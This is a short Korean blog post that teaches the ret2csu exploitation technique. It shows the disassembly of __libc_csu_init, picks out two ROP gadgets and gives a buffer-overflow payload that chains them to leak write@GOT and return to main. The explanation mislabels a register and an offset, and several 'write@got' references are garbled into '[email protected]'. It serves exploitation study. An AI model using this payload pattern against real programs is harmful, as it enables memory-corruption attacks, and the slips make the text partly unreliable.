__libc_csu_init_exploit

LeeDoHyun · May 3, 2020

__libc_csu_init 익스

0x0000000000400910 <+0>:	push   r15
0x0000000000400912 <+2>:	push   r14
0x0000000000400914 <+4>:	mov    r15d,edi
0x0000000000400917 <+7>:	push   r13
0x0000000000400919 <+9>:	push   r12
0x000000000040091b <+11>:	lea    r12,[rip+0x2004ee]        # 0x600e10
0x0000000000400922 <+18>:	push   rbp
0x0000000000400923 <+19>:	lea    rbp,[rip+0x2004ee]        # 0x600e18
0x000000000040092a <+26>:	push   rbx
0x000000000040092b <+27>:	mov    r14,rsi
0x000000000040092e <+30>:	mov    r13,rdx
0x0000000000400931 <+33>:	sub    rbp,r12
0x0000000000400934 <+36>:	sub    rsp,0x8
0x0000000000400938 <+40>:	sar    rbp,0x3
0x000000000040093c <+44>:	call   0x400548 <_init>
0x0000000000400941 <+49>:	test   rbp,rbp
0x0000000000400944 <+52>:	je     0x400966 <__libc_csu_init+86>
0x0000000000400946 <+54>:	xor    ebx,ebx
0x0000000000400948 <+56>:	nop    DWORD PTR [rax+rax*1+0x0]
0x0000000000400950 <+64>:	mov    rdx,r13
0x0000000000400953 <+67>:	mov    rsi,r14
0x0000000000400956 <+70>:	mov    edi,r15d
0x0000000000400959 <+73>:	call   QWORD PTR [r12+rbx*8]
0x000000000040095d <+77>:	add    rbx,0x1
0x0000000000400961 <+81>:	cmp    rbx,rbp
0x0000000000400964 <+84>:	jne    0x400950 <__libc_csu_init+64>
0x0000000000400966 <+86>:	add    rsp,0x8
0x000000000040096a <+90>:	pop    rbx
0x000000000040096b <+91>:	pop    rbp
0x000000000040096c <+92>:	pop    r12
0x000000000040096e <+94>:	pop    r13
0x0000000000400970 <+96>:	pop    r14
0x0000000000400972 <+98>:	pop    r15
0x0000000000400974 <+100>:	ret

여기서 중요한 부분. __libc_csu_init+90 , __libc_csu_init+64 이 2개가 gadget1과 gadget2가 됩니다.

__libc_csu_init+90 = gadget1

0x000000000040096a <+90>:	pop    rbx
0x000000000040096b <+91>:	pop    rbp
0x000000000040096c <+92>:	pop    r12
0x000000000040096e <+94>:	pop    r13
0x0000000000400970 <+96>:	pop    r14
0x0000000000400972 <+98>:	pop    r15
0x0000000000400974 <+100>:	ret

__libc_csu_init+64 = gadget2

0x0000000000400950 <+64>:	mov    rdx,r13
0x0000000000400953 <+67>:	mov    rsi,r14
0x0000000000400956 <+70>:	mov    edi,r15d
0x0000000000400959 <+73>:	call   QWORD PTR [r12+rbx*8]
0x000000000040095d <+77>:	add    rbx,0x1
0x0000000000400961 <+81>:	cmp    rbx,rbp
0x0000000000400964 <+84>:	jne    0x400950 <__libc_csu_init+64>

여기서 보면 rbx에 r13의 값이 들어가거 rsi에 r14, edi에 r15d가 들어가게 됩니다. 이걸을 활용해 익스할때의 예시는 다음과 같습니다.

payload = 'a'*(0x100 + 0x8)
payload += p64(0x000000000040096a)    # ret
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(1)

payload += p64(0x0000000000400950)    # ret 
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(e.symbols['main'])     # jmp

payload에 3번째 라인과 4번째라인은 __libc_csu_init <+81> 에서 cmp명령어로 값을 비교한다음 jne명령어로 두 값이 다르면 인자로 리턴하도록 합니다.

payload 5번째 라인은 r12에 [email protected]값이 들어감으로써, __libc_csu_init <+77> 에서 call을 하게됩니다 이때 우리가준 rbx는 payload 2번째라인 즉 0이기 때문에, [email protected] + rbx*8 = [email protected] 가됩니다.

그 후 6,7,8번 라인에서는 인자를 전달하는 역할을 합니다. 근데 여기서 __libc_csu_init <+70> 에서 edi로 받아오지만 첫번째 인자가 들어가기 때문에 딱히 상관이 없습니다.

나머지 payload는 레지스터를 맞춰주기 위함으로 0을 덮어 주었습니다.

Twitter, Facebook